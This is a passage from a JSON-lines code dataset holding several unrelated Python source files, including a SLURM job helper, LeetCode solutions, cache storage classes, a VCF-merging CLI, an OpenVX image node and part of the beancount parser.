iteration_info['iteration'] == int(iteration_nr):\n iteration_info.update(scores)\n\n\n\ndef wait_iteration(output_dir, total_repeats):\n '''Waits until all batch jobs are finised and in case of and warning\n or error that appears in the error file, stops running the optimization\n\n Parameters:\n ----------\n output_dir : str\n Path to the directory of output\n total_repeats : int\n Total of repetitions of the evaluation\n\n Returns:\n -------\n Nothing\n '''\n wild_card_path = os.path.join(BASE, 'tmp', '*', '*.json')\n while len(glob.glob(wild_card_path)) != total_repeats:\n check_error(output_dir)\n time.sleep(5)\n print('Still waiting ...')\n\n\ndef check_error(output_dir):\n '''In case of warnings or errors during batch job that is written to the\n error file, raises SystemExit(0)\n\n Parameters:\n ----------\n output_dir : str\n Path to the directory of the output, where the error file is located\n\n Returns:\n -------\n Nothing\n '''\n number_errors = 0\n error_list = ['FAILED', 'CANCELLED', 'ERROR', 'Error']\n output_error_list = ['Usage']\n error_files = os.path.join(output_dir, 'error*')\n output_files = os.path.join(output_dir, 'output*')\n for error_file in glob.glob(error_files):\n if os.path.exists(error_file):\n with open(error_file, 'rt') as file:\n lines = file.readlines()\n for line in lines:\n for error in error_list:\n if error in line:\n number_errors += 1\n if number_errors > 0:\n print(\"Found errors: \" + str(number_errors))\n raise SystemExit(0)\n\n\n\ndef prepare_job_file(\n parameter_file\n):\n repeat_nr = parameter_file.split('/')[-5]\n iteration_nr = parameter_file.split('/')[-3].split('.')[0]\n output_dir = os.path.join(BASE, 'tmp', repeat_nr)\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n job_file = os.path.join(\n output_dir, str(iteration_nr) + '.sh'\n )\n error_file = os.path.join(output_dir, 'error' + str(iteration_nr))\n output_file = os.path.join(output_dir, 'output' + str(iteration_nr))\n run_script = os.path.join(\n '/home/user/bayespso-paper-sw/bayespso',\n 'slurm_scripts',\n 'slurm_kaggle.py'\n )\n with open(job_file, 'wt') as filehandle:\n filehandle.writelines(dedent(\n \"\"\"\n #!/bin/bash\n #SBATCH --job-name=kaggleScore\n #SBATCH --partition=short\n #SBATCH --ntasks=1\n #SBATCH --time=02:00:00\n #SBATCH --cpus-per-task=4\n #SBATCH -e %s\n #SBATCH -o %s\n env\n date\n python %s -p %s\n \"\"\" % (\n error_file, output_file, run_script, parameter_file\n )\n ).strip('\\n'))\n return job_file\n\n\n\ndef main(algorithm):\n results = load_file(algorithm)\n total_repeats = 0\n for repeat in results.keys():\n repeat_info = results[repeat]\n for iteration_info in repeat_info:\n total_repeats += 1\n job_file = prepare_job_file(iteration_info['path'])\n subprocess.call(['sbatch', job_file])\n output_dir = os.path.join(BASE, 'tmp', '*')\n wait_iteration(output_dir, total_repeats)\n time.sleep(30)\n assign_to_results(results)\n output_path = os.path.join(BASE, 'updated_results_%s.json' %algorithm)\n with open(output_path, 'wt') as outFile:\n json.dump(results, outFile, indent=4)\n\n\nif __name__ == '__main__':\n # main('PSO')\n main('Bayes')\n","repo_name":"Laurits7/bayes-pso-comparison","sub_path":"bayespso/scripts/HBC/k_score_evolution.py","file_name":"k_score_evolution.py","file_ext":"py","file_size_in_byte":4625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"9512185263","text":"from enum import Enum\n\nTokenType = Enum('TokenType',\n ['comment', 'line_comment', 'name', 'value', 'pipe', 'pipe_start', 'pipe_end', 'list_start',\n 'list_item', 'list_end', 'object_start', 'object_end', 'line', 'value_start', 'value_end',\n 'depth_up', 'depth_down', 'object_list_start', 'object_list_end', 'start_new_value',\n 'end_new_value'])\n\n\nclass YamlTokenException(Exception):\n\n def __init__(self, token, expected) -> None:\n super().__init__(\n \"Unexpected token %s, expected %s. (line: %s - %s)\" % (\n str(token.type), \", \".join([str(exp) for exp in expected]), token.line, token.value))\n\n\nclass Token:\n type: TokenType\n value: str\n depth: int\n line: int\n\n def __init__(self, type, value, depth, line):\n self.type = type\n self.value = value\n self.depth = depth\n self.line = line\n\n def __repr__(self):\n return \"%d: %s %s %s %d\" % (self.line, \" \" * self.depth, self.value, self.type, self.depth)\n","repo_name":"Umaaz/helm-mkdocs","sub_path":"helm_mkdocs/model/token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"34705210909","text":"class Solution:\n def productExceptSelf(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n\n # 采用两次循环来进行解决\n # 初始化结果为 [1] * len(nums)\n # 第一次循环从前往后，将所处位置之前的所有成绩乘到数字上\n # 第二次循环从后往前，强所处位置之后的所有成绩乘到数字上\n\n\n res = [1] * len(nums)\n\n temp = nums[0]\n\n for i in range(1,len(nums)):\n res[i] *= temp\n temp *= nums[i]\n\n temp = nums[-1]\n\n for i in range(len(nums)-2,-1,-1):\n res[i] *= temp\n temp *= nums[i]\n\n return res\n","repo_name":"otthqs/Fun_Leetcode","sub_path":"Solutions/leetcode238_Product_of_Array_Except_Self.py","file_name":"leetcode238_Product_of_Array_Except_Self.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"43"} +{"seq_id":"21836947624","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Feb 2 21:40:44 2022\r\n\r\n@author: orian\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport scipy as sc\r\nimport analysis_plot as anls\r\nimport run_simulations as rs\r\nimport misc_mbp as mim\r\nimport misc_baye as mib\r\n\r\n\"\"\"\r\nsimulate the Bayesian model\r\n\"\"\"\r\n\r\n# =============================================================================\r\n# define parameters\r\n# =============================================================================\r\nT = 2 #number of time steps in each trial\r\nnb = 2\r\nno = nb+1 #number of observations\r\nns = nb+1 #number of states\r\nna = nb #number of actions\r\nnr = nb+1\r\nnc = nb\r\nrepetitions = 50\r\navg = True\r\n\r\nalpha_policies = [8, 100] \r\nalpha_context = [99]\r\nalpha_rewards = [50] #90\r\nalpha_list = [alpha_policies, alpha_context, alpha_rewards]\r\nutility= np.array([0.0, 1.0, 1.0]) #no-rewards/rewards(pellets) after actionA/rewards(pellets) after actionB/ rewards(pellets+leisure)/rewards(leisure)\r\n#utility=mib.softmax(5*utility)\r\npreference=mib.softmax(utility)\r\npreference_deval = []\r\n\r\ntrials = [2000] #training trials\r\nn_test = 1000 #extinction trials\r\nalpha_list = [alpha_policies, alpha_context, alpha_rewards]\r\n#%%\r\n# =============================================================================\r\n# simulate\r\n# =============================================================================\r\nworlds_reversal_2_baye = rs.simulation_reversal_baye(repetitions, preference, preference_deval, avg, T, ns, na, nr, \r\n nc, alpha_list, n_test, trials, EX1_2 = True)\r\n#%%\r\n# =============================================================================\r\n# plot \r\n# =============================================================================\r\n\r\n # plot chosen probability \r\nanls.plot_chosen_probability(worlds_reversal_2_baye[:50], repetitions=50, \r\n habit_learning_strength=alpha_policies[0], weak=False, baye=True, EX1_2 = True)\r\nanls.plot_chosen_probability(worlds_reversal_2_baye[50:], repetitions=50, \r\n habit_learning_strength=alpha_policies[1], weak=True, baye=True, EX1_2 = True)\r\n\r\n # plot habit strenth\r\ndata_a_2_baye = anls.plot_habit_strength(worlds_reversal_2_baye, repetitions=50, \r\n habit_learning_strength=alpha_policies, EX1_2=True, baye=True)\r\n# =============================================================================\r\n# data analysis \r\n# =============================================================================\r\n # t-text strong vs weak\r\ndata1, data2 = mim.remove_nan(data_a_2_baye[0][:,0],data_a_2_baye[0][:,1])\r\nmim.sample_two_t_test(data1, data2)\r\n\r\n#%%\r\n\"\"\"\r\nsimulate the MB/VF model\r\n\"\"\"\r\n\r\n# =============================================================================\r\n# define parameters\r\n# =============================================================================\r\nna=2 #number of actions\r\nnm=2 #number of rewards/reinforcers\r\nrepetitions = 50\r\n\r\nalpha_Hs = [0.001, 0.0005]\r\nalpha_R = 0.01\r\nalpha_stoch = []\r\nw_0 = 1\r\nw_g = 5\r\nw_h = 5\r\ntheta_h = 5\r\ntheta_g = 5\r\nalpha_w = 1\r\nparas = alpha_Hs, alpha_R, w_0, w_g, w_h, theta_g, theta_h, alpha_w\r\n\r\nalpha_reward = [0.5] #probability of rewards\r\n\r\ntrials_phase1s = [1000] #training trials\r\ntrials_phase2 = 1000 #5000 #extinction trials\r\n\r\nU = np.array([0.0, 1.0, 1.0])\r\nU_deval = []\r\nrepetitions = 50\r\n#%%\r\n# =============================================================================\r\n# simulate\r\n# =============================================================================\r\nworlds_reversal_2_mbp = rs.simulation_mbp(na, nm, paras, alpha_reward, \r\n repetitions,\r\n trials_phase1s, trials_phase2, U, U_deval,\r\n EX1_2 = True)\r\n#%%\r\n# =============================================================================\r\n# plot \r\n# =============================================================================\r\n\r\n # replication plot dynamic changes of key variables\r\nanls.plot_variables_dynamic_mbp(worlds_reversal_2_mbp[:50], repetitions) \r\n\r\n # plot chosen probability \r\nanls.plot_chosen_probability(worlds_reversal_2_mbp[:50], repetitions=50, \r\n habit_learning_strength=alpha_Hs[0], weak=False, baye=False, EX1_2 = True)\r\nanls.plot_chosen_probability(worlds_reversal_2_mbp[50:], repetitions=50, \r\n habit_learning_strength=alpha_Hs[1], weak=True, baye=False, EX1_2 = True)\r\n\r\n # plot habit strenth\r\ndata_a_2_mbp = anls.plot_habit_strength(worlds_reversal_2_mbp, \r\n repetitions=50, habit_learning_strength=alpha_Hs, EX1_2=True) \r\n\r\n# =============================================================================\r\n# data analysis \r\n# =============================================================================\r\n # t-text strong vs weak\r\ndata1, data2 = mim.remove_nan(data_a_2_mbp[0][:,0],data_a_2_mbp[0][:,1])\r\nmim.sample_two_t_test(data1, data2)\r\n\r\n#%%\r\n\"\"\"\r\nsave data\r\n\"\"\"\r\n\r\nfile_name = ['worlds_EXR2_baye.pkl', 'worlds_EXR2_mbp.pkl']\r\ndata = [worlds_reversal_2_baye, worlds_reversal_2_mbp]\r\n\r\nfile_path_0 = 'E:/CAN/thesis/Habit learning models/data/'\r\nfor i in range(len(data)):\r\n file_path = file_path_0 + file_name[i]\r\n mim.save_load_data(data[i], file_path, mode = 'wb')\r\n\r\n\r\n\r\n#%%\r\n\"\"\"\r\nload data\r\n\"\"\"\r\nimport misc_mbp as mim\r\n\r\nfile_name = ['worlds_EXR2_baye.pkl', 'worlds_EXR2_mbp.pkl']\r\n\r\nfile_path_0 = 'E:/CAN/thesis/Habit learning models/data/'\r\nworlds = []\r\nfor i in range(len(file_name)):\r\n file_path = file_path_0 + file_name[i]\r\n worlds.append(mim.save_load_data(file_path=file_path, mode = 'rb'))\r\n\r\nworlds_reversal_2_baye, worlds_reversal_2_mbp= worlds","repo_name":"Meng-Ling-Ori/Comparison--Value-free-Habit-learning-models","sub_path":"Simulation_EX_R2.py","file_name":"Simulation_EX_R2.py","file_ext":"py","file_size_in_byte":5764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"74101965568","text":"\"\"\"\nModule that contains the command line app.\n\nWhy does this file exist, and why not put this in __main__?\nYou might be tempted to import things from __main__ later, but that will\ncause problems, the code will get executed twice:\n\n - When you run `python -m click_mergevcfs` python will execute\n `__main__.py` as a script. That means there won't be any\n `click_mergevcfs.__main__` in `sys.modules`.\n\n - When you import __main__ it will get executed again (as a module) because\n there's no `click_mergevcfs.__main__` in `sys.modules`.\n\nAlso see (1) from http://click.pocoo.org/5/setuptools/#setuptools-integration\n\"\"\"\n\nfrom os.path import join, dirname, abspath\nimport os\nimport tempfile\nimport click\n\nfrom click_mergevcfs import __version__\nfrom click_mergevcfs import commands\nfrom click_mergevcfs import exceptions\nfrom click_mergevcfs import utils\n\n\n@click.command()\n@click.option(\"--vcf\", multiple=True, help=\"Input vcf file\")\n@click.option(\"--out\", required=True, help=\"Path to the output file\")\n@click.option(\"--snv\", is_flag=True, default=False, help=\"The input vcfs contain snvs\")\n@click.option(\n \"--indel\", is_flag=True, default=False, help=\"The input vcfs contain indels\"\n)\n@click.option(\"--reference\", default=False, help=\"Genome reference file (ex. GRCH37D5)\")\n@click.option(\n \"--caveman_flagged_out\",\n default=False,\n help=\"Path to the Caveman Postprocessing flagged merged vcf\",\n)\n@click.option(\n \"--pindel_flag\",\n is_flag=True,\n default=False,\n help=\"Apply Pindel Postprocessing flagging to merged vcf\",\n)\n@click.option(\n \"--temp\",\n default=tempfile.mkdtemp(),\n help=\"If specified, put all intermediate files in this directory.\",\n)\n@click.option(\"--normal_bam\", default=False, help=\"Path to the normal bam\")\n@click.option(\"--tumor_bam\", default=False, help=\"Path to the tumor bam\")\n@click.option(\n \"--bedFileLoc\",\n default=False,\n help=(\n \"Path to a folder containing the centromeric, snp, hi sequence depth,\"\n \"and simple repeat sorted bed files(if required) \"\n \"i.e. the non annotation bed files.\"\n \"Names of files will be taken from the config file.\"\n ),\n)\n@click.option(\n \"--indelBed\",\n default=False,\n help=\"A bed file containing germline indels to filter on\",\n)\n@click.option(\n \"--unmatchedVCFLoc\",\n default=False,\n help=(\n \"Path to a directory containing the unmatched VCF normal files listed\"\n \" in the config file or unmatchedNormal.bed.gz(bed file is used in\"\n \"preference).\"\n ),\n)\n@click.option(\n \"--annoBedLoc\",\n default=False,\n help=\"Path to bed files containing annotatable regions and coding regions.\",\n)\n@click.option(\n \"--bin-size\",\n default=100000,\n show_default=True,\n help=(\n \"Number of variants in a splitted vcf file in caveman flagging.\"\n \"if bin_size > variants in input vcf, no parallization is applied.\"\n ),\n)\n@click.option(\"--sequencing_method\", default=False, help=\"WGS or TGD\")\n@click.version_option(version=__version__)\ndef main(\n vcf,\n out,\n snv,\n indel,\n reference,\n caveman_flagged_out,\n pindel_flag,\n temp,\n normal_bam,\n tumor_bam,\n bedfileloc,\n indelbed,\n unmatchedvcfloc,\n annobedloc,\n bin_size,\n sequencing_method,\n):\n \"\"\"Merge vcfs files from multiple different callers.\"\"\"\n if not os.path.isdir(temp):\n os.makedirs(temp)\n click.echo(\"Temp directory is {}\".format(temp))\n\n outdir = os.path.dirname(os.path.abspath(out))\n if not os.path.exists(outdir):\n os.makedirs(outdir)\n\n if sum([snv, indel]) != 1:\n msg = \"ERROR: Please specify exactly one of {--snv, --indel}\"\n raise exceptions.AmbiguousVariantTypeException(msg)\n elif snv or indel:\n commands.merge_snvs(vcf_list=vcf, out_file=out, working_dir=temp)\n\n if caveman_flagged_out:\n perl_path = utils.which(\"perl\")\n utils_dir = join(abspath(dirname(__file__)), os.pardir, \"utils\")\n flag_script = join(utils_dir, \"cgpFlagCaVEMan_custom.pl\")\n flag_config = join(utils_dir, \"flag.vcf.custom.config.ini\")\n flag_to_vcf_config = join(utils_dir, \"flag.to.vcf.custom.convert.ini\")\n\n commands.caveman_postprocess(\n perl_path=perl_path,\n flag_script=flag_script,\n in_vcf=out,\n out_vcf=caveman_flagged_out,\n bin_size=bin_size,\n working_dir=temp,\n normal_bam=normal_bam, # -n\n tumor_bam=tumor_bam, # -m\n bedFileLoc=bedfileloc, # -b\n indelBed=indelbed, # -g\n unmatchedVCFLoc=unmatchedvcfloc, # -umv\n reference=reference,\n flagConfig=flag_config,\n flagToVcfConfig=flag_to_vcf_config,\n annoBedLoc=annobedloc, # -ab\n sequencing_method=sequencing_method,\n )\n\n\nif __name__ == \"__main__\":\n main() # pylint: disable=no-value-for-parameter\n","repo_name":"danielavarelat/click_mergevcfs","sub_path":"click_mergevcfs/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":4938,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"43"} +{"seq_id":"43834694189","text":"import collections\nimport copy\nimport threading\nimport time\n\n\nclass CacheMissingError(Exception):\n \"\"\" Error raised when cache was missing\n\n \"\"\"\n pass\n\n\nclass BaseStorage(object):\n \"\"\" Storage Interface.\n\n \"\"\"\n\n def __init__(self, deepcopy=False):\n \"\"\" init\n\n :param deepcopy: if the data needs to be deep-copied once it is set/gotten\n :type deepcopy: bool\n :return:\n \"\"\"\n self.deepcopy = deepcopy\n\n def get(self, key):\n \"\"\" Get data from storage\n\n :param key: data key\n :type key: basestring\n :return:\n \"\"\"\n raise NotImplementedError()\n\n def set(self, key, value):\n \"\"\" Set data into storage\n\n :param key: storage key\n :param value: data value\n :return:\n \"\"\"\n raise NotImplementedError()\n\n def delete(self, key):\n \"\"\" Delete data from storage\n\n :param key: data key\n :return:\n \"\"\"\n\n def flush(self):\n \"\"\" Flush the data in the storage\n\n :return:\n \"\"\"\n raise NotImplementedError()\n\n\nclass ExpiringStorage(BaseStorage):\n \"\"\" Use a dict object as the storage and provides simple functionality.\n The stored data has an expiration\n\n Further thought:\n An active thread can be used to clean the expired data.\n \"\"\"\n\n _StoredData = collections.namedtuple('_StoredData', ('expiration', 'value'))\n\n def __init__(self, *args, **kwargs):\n self._expiration = kwargs.pop('expiration', None)\n super(ExpiringStorage, self).__init__(*args, **kwargs)\n\n self._cache = {}\n self._lock = threading.Lock()\n\n def get(self, key):\n \"\"\" Get data by key\n\n We are doing lazy evaluation in get(). If the data is out of date, the stored tuple will be removed.\n\n :param key: data key\n :return:\n :raises: CacheMissingError\n \"\"\"\n with self._lock:\n if key not in self._cache:\n raise CacheMissingError()\n\n stored_data = self._cache[key]\n if stored_data.expiration is not None and stored_data.expiration < time.time():\n del self._cache[key]\n raise CacheMissingError()\n return stored_data.value if not self.deepcopy else copy.deepcopy(stored_data.value)\n\n def set(self, key, value):\n \"\"\" Set a (key, value) pair into the storage.\n\n :param key:\n :param value:\n :return:\n \"\"\"\n\n if self.deepcopy:\n value = copy.deepcopy(value)\n expiration = time.time() + self._expiration if self._expiration is not None else None\n with self._lock:\n self._cache[key] = self._StoredData(expiration, value)\n\n def delete(self, key):\n \"\"\" remove data by key\n\n :param key:\n :return:\n :raises: CacheMissingError\n \"\"\"\n with self._lock:\n try:\n del self._cache[key]\n except KeyError:\n raise CacheMissingError()\n\n def flush(self):\n with self._lock:\n self._cache.clear()\n\n\nclass LruStorage(BaseStorage):\n \"\"\" LruStorage provides a storage with latest recent use algorithm.\n \"Use\" is determined by both get() and set().\n\n It is implemented as a hash table and a double-linked list. Hash table gives a O(1)\n like query. And double-linked list presents when data was touched.\n \"\"\"\n\n class _DataNode(object):\n \"\"\" A nested data class\n \"\"\"\n\n def __init__(self, key, value):\n self.key = key\n self.value = value\n self.left, self.right = None, None\n\n def __init__(self, *args, **kwargs):\n self._capacity = kwargs.pop('capacity', None)\n if not self._capacity:\n raise ValueError('Capacity must be a positive integer/long.')\n\n super(LruStorage, self).__init__(*args, **kwargs)\n self._lock = threading.Lock()\n\n # the hash table maintain the mapping between key and values\n self._data = {}\n\n # double-linked list head\n self._head = None\n\n # since I don't believe the performance of len(dict), let do this\n self._size = 0\n\n def __del__(self):\n self.flush()\n\n def get(self, key):\n with self._lock:\n node = self._data.get(key)\n\n if node is None:\n raise CacheMissingError()\n\n self._dli_touch(node)\n return node.value if not self.deepcopy else copy.deepcopy(node.value)\n\n def set(self, key, value):\n if self.deepcopy:\n value = copy.deepcopy(value)\n\n with self._lock:\n node = self._data.get(key)\n\n if node is None:\n # it is a new key to set\n if self._capacity <= self._size:\n # we hit the floor, remove one node from the storage\n node_to_remove = self._head.left\n self._dli_remove_node(node_to_remove)\n del self._data[node_to_remove.key]\n self._size -= 1\n\n node = self._DataNode(key, value)\n self._dli_push_front(node)\n self._data[key] = node\n\n self._size += 1\n else:\n # we already have the key, just update the value and touch it.\n # Even if the value is the same as what it was, touch it\n node.value = value\n self._dli_touch(node)\n\n def delete(self, key):\n with self._lock:\n node = self._data.get(key)\n\n if node is None:\n raise CacheMissingError()\n\n self._dli_remove_node(node)\n del self._data[key]\n self._size -= 1\n\n def flush(self):\n \"\"\" flush() on a Lru storage is a quite expensive, to avoid cycled memory garbage.\n\n :return:\n \"\"\"\n with self._lock:\n for data_node in self._data.values():\n data_node.left = None\n data_node.right = None\n self._data.clear()\n self._head = None\n self._size = 0\n\n @property\n def size(self):\n return self._size\n\n def _dli_remove_node(self, node):\n \"\"\" Remove a node from linked list\n\n :param node:\n :return:\n \"\"\"\n if node == self._head:\n self._head = node.right if node.right != node else None\n\n node.left.right, node.right.left = node.right, node.left\n node.left, node.right = None, None\n\n def _dli_push_front(self, node):\n if self._head:\n node.left = self._head.left\n node.right = self._head\n self._head.left.right = node\n self._head.left = node\n else:\n node.left, node.right = node, node\n self._head = node\n\n def _dli_touch(self, node):\n \"\"\" Touch the double-linked list.\n Let the node the be the most recent modified data node.\n\n :type node: _DataNode\n \"\"\"\n if self._size <= 1 or node == self._head:\n return\n\n self._dli_remove_node(node)\n self._dli_push_front(node)\n","repo_name":"theliuy/memoizewrapper","sub_path":"memoizewrapper/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":7196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"25811285430","text":"\"\"\"\n- BFS\n\"\"\"\n\n\nfrom typing import Optional, List\nimport collections\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def averageOfLevels(self, root: Optional[TreeNode]) -> List[float]:\n ans = []\n\n queue = collections.deque([root])\n\n while queue:\n\n sum_ = 0\n count = 0\n\n for _ in range(len(queue)):\n\n curr = queue.popleft()\n\n sum_ += curr.val\n count += 1\n\n if curr.left:\n queue.append(curr.left)\n if curr.right:\n queue.append(curr.right)\n\n ans.append(sum_ / count)\n\n return ans\n\n\nif __name__ == '__main__':\n root = TreeNode(3)\n root.left = TreeNode(9)\n root.right = TreeNode(20)\n root.right.left = TreeNode(15)\n root.right.right = TreeNode(7)\n print(Solution().averageOfLevels(root))\n","repo_name":"yukikitayama/leetcode-python","sub_path":"company/facebook/fb_637_average_of_levels_in_binary_tree.py","file_name":"fb_637_average_of_levels_in_binary_tree.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"43"} +{"seq_id":"16890077855","text":"\nimport brcm_openvx\nimport image\nimport utils\nimport graph\nimport logging\nimport defn\n\nclass VXIntegralImageNode(graph.VXNode):\n def __init__(self, input, output):\n logger = logging.getLogger(__name__)\n ret0 = (input.type == brcm_openvx.VX_DF_IMAGE_U8)\n ret1 = (output.type == brcm_openvx.VX_DF_IMAGE_U32)\n ret = ret0 & ret1\n if ret is not True:\n logger.error('VXIntegralImageNode: input and output type constraints are not met')\n raise TypeError\n if ((input.width % 8 != 0) or (input.height < 2)):\n logger.error('VXIntegralImageNode: input and output resolution constraints are not met inW = %s inH = %s'%(input.width,input.height))\n raise ValueError\n\n graph.VXNode.__init__(self)\n self.input = input\n self.output = output\n self.setNumJobs(1)\n\n def createMailBoxLocal(self):\n msg = []\n (inStore, inW, inH, inS) = self.input.getDetails()\n (outStore, outW, outH, outS) = self.output.getDetails()\n sliceHeight = int(inH)\n outputImageOffset = 0\n inputImageOffset = 0\n #need to check input,output for same width,height\n slice_info = utils.VENDOR_SLICE_FULL_FRAME\n #integral works only for single core\n cmd = graph.VXCommand()\n cmd.appendStorage(outStore, outputImageOffset, 0)\n cmd.appendStorage(inStore, inputImageOffset, 4)\n cmd.appendMsgType(utils.VENDOR_MSG_INTEGRAL)\n cmd.appendMbox32le(outputImageOffset) #dst\n cmd.appendMbox32le(inputImageOffset) #src\n cmd.appendMbox32be(sliceHeight)\n cmd.appendMbox32be(outW)\n cmd.appendMbox32be(outS)\n cmd.appendMbox32be(inS)\n cmd.appendMbox32be(0) #pad dont care\n cmd.appendMbox32be(slice_info)\n cmd.appendMbox32be(0) #pad[0]dont care\n cmd.appendMbox32be(0) #pad[1]dont care\n cmd.appendMbox32be(0) #pad[2]dont care\n cmd.appendMbox32be(0) #pad[3]dont care\n cmd.appendMbox32be(0) #pad[4]dont care\n cmd.appendMbox32be(0) #pad[5]dont care\n\n msg = msg + cmd.getData()\n return msg\n\n def createMailBox(self,totalCoreCount):\n logger = logging.getLogger(__name__)\n if (totalCoreCount > 1):\n logger.warning('vxIntegralImageNode: runs in single core only')\n msg = []\n for i in range(self.getNumJobs()):\n msg = msg + self.createMailBoxLocal()\n for j in range(1,totalCoreCount):\n cmd = graph.VXCommand()\n cmd.appendDummyMsg()\n msg = msg + cmd.getData()\n return msg\n\ndef vxIntegralImageNode_int(graph, input, output):\n logger = logging.getLogger(__name__)\n ret0 = defn.verifyGraph(graph)\n ret1 = defn.verifyImage(input)\n ret2 = defn.verifyImage(output)\n if (ret0 & ret1 & ret2) is False:\n logger.error('vxIntegralImageNode: one or all parameters are wrong')\n raise AttributeError\n integralImgNode = VXIntegralImageNode(input['VX_DATA'],output['VX_DATA'])\n node = defn.create_dict(defn.VX_NODE,graph)\n node['VX_DATA'] = integralImgNode\n graph['VX_DATA'].node.append(node)\n return node\n\n","repo_name":"paulkim-excelt/hydra_2.0.1","sub_path":"multimedia/pp/openvx/config/brcm_openvx/integral.py","file_name":"integral.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"43"} +{"seq_id":"69807970051","text":"\"\"\"Sends a correctly formatted request to the running flask server\"\"\"\nimport requests, json\n\nrecommendation_url = \"http://127.0.0.1:5000/recommendation/\"\nweather_status_url = \"http://127.0.0.1:5000/weather/\"\noutside_url = \"http://127.0.0.1:5000/outside/\"\n\nnum_resources = 3\n\nstate = {\n \"sadness\": 0.0,\n \"lonelyness\": 0.0,\n \"sleepyness\": 0.0,\n \"anxiousness\": 0.0,\n \"stress\": 0.0,\n \"anger\": 0.0\n}\n\ncontext = {\n \"workout\": 1.0,\n \"mindfulness\": 1.0,\n \"social\": 1.0\n}\n\nbody = {\n \"num_resources\": num_resources,\n \"state\": state,\n \"context\": context\n}\n\nif __name__ == \"__main__\":\n r = requests.post(recommendation_url, json=body)\n print(r.status_code)\n if r.status_code is not \"200\":\n print(r.text)\n\n r = requests.get(weather_status_url)\n print(r.status_code)\n if r.status_code is not \"200\":\n print(r.text)\n\n r = requests.get(outside_url)\n print(r.status_code)\n if r.status_code is not \"200\":\n print(r.text)\n","repo_name":"TDHTTTT/MESA","sub_path":"backend/test/request_server.py","file_name":"request_server.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"43"} +{"seq_id":"28425884612","text":"\"\"\"Beancount syntax parser.\n\nIMPORTANT: The parser (and its grammar builder) produces \"incomplete\"\nTransaction objects. This means that some of the data can be missing. Those\nincomplete entries are then run through the \"booking\" routines which find\nmatching lots for reducing postings and interpolates missing numbers, and in\ndoing so normalize the entries to \"complete\" entries.\n\nSpefically, the following pieces of data may be incomplete:\n\n- posting.position = None\n e.g., Assets:Account\n\n- posting.position.number = None, with a non-nil lot\n e.g., Assets:Account USD\n\n- posting.position.price = Amount(None, None)\n e.g., Assets:Account 100 CAD @\n\n- posting.position.price = Amount(None, currency)\n e.g., Assets:Account 100 CAD @ USD\n\n(Note that 'posting.position.price = None' is not incomplete, it just indicates\nthe absence of a price clause.)\n\nFor incomplete entries, 'posting.position.lot' does not refer to a Lot instance,\nbut rather to a LotSpec which needs to get resolved to a Lot. The LotSpec has a\nCompountAmount for which the 'number_per' and 'number_total' numbers may be both\nmissing.\n\nSee grammar_test.TestIncompleteInputs for examples and corresponding checks.\n\"\"\"\n__author__ = \"Martin Blais \"\n\nimport functools\nimport inspect\nimport textwrap\nimport io\nimport warnings\nfrom os import path\n\nfrom beancount.parser import _parser\nfrom beancount.parser import grammar\nfrom beancount.parser import printer\nfrom beancount.parser import hashsrc\nfrom beancount.core import data\n\nfrom beancount.parser.grammar import ParserError\nfrom beancount.parser.grammar import ParserSyntaxError\nfrom beancount.parser.grammar import DeprecatedError\n# pylint: disable=unused-import\nParserError, ParserSyntaxError, DeprecatedError # pyflakes\n\n\n# When importing the module, always check that the compiled source matched the\n# installed source.\nhashsrc.check_parser_source_files()\n\n\ndef has_auto_postings(entries):\n \"\"\"Detect the presence of elided amounts in Transactions.\n\n Args:\n entries: A list of directives.\n Returns:\n A boolean, true if there are some auto-postings found.\n \"\"\"\n for entry in entries:\n if not isinstance(entry, data.Transaction):\n continue\n for posting in entry.postings:\n if posting.position is None:\n return True\n return False\n\n\ndef parse_file(filename, **kw):\n \"\"\"Parse a beancount input file and return Ledger with the list of\n transactions and tree of accounts.\n\n Args:\n filename: the name of the file to be parsed.\n kw: a dict of keywords to be applied to the C parser.\n Returns:\n A tuple of (\n list of entries parsed in the file,\n list of errors that were encountered during parsing, and\n a dict of the option values that were parsed from the file.)\n \"\"\"\n abs_filename = path.abspath(filename) if filename else None\n builder = grammar.Builder(abs_filename)\n _parser.parse_file(filename, builder, **kw)\n return builder.finalize()\n\n# Alias, for compatibility.\n# pylint: disable=invalid-name\nparse = parse_file\n\n\ndef parse_string(string, **kw):\n \"\"\"Parse a beancount input file and return Ledger with the list of\n transactions and tree of accounts.\n\n Args:\n string: a str, the contents to be parsed instead of a file's.\n **kw: See parse.c. This function parses out 'dedent' which removes\n whitespace from the front of the text (default is False).\n Return:\n Same as the output of parse_file().\n \"\"\"\n if kw.pop('dedent', None):\n string = textwrap.dedent(string)\n builder = grammar.Builder(None)\n _parser.parse_string(string, builder, **kw)\n builder.options['filename'] = ''\n return builder.finalize()\n\n\n# FIXME: Deprecate this eventually.\ndef parsedoc(*args, **kw):\n warnings.warn(\"parsedoc() is obsolete; use parse_doc() instead.\")\n return parse_doc(*args, **kw)\n\ndef parse_doc(expect_errors=False, allow_incomplete=False):\n \"\"\"Factory of decorators that parse the function's docstring as an argument.\n\n Note that the decorators thus generated only run the parser on the tests,\n not the loader, so is no validation, balance 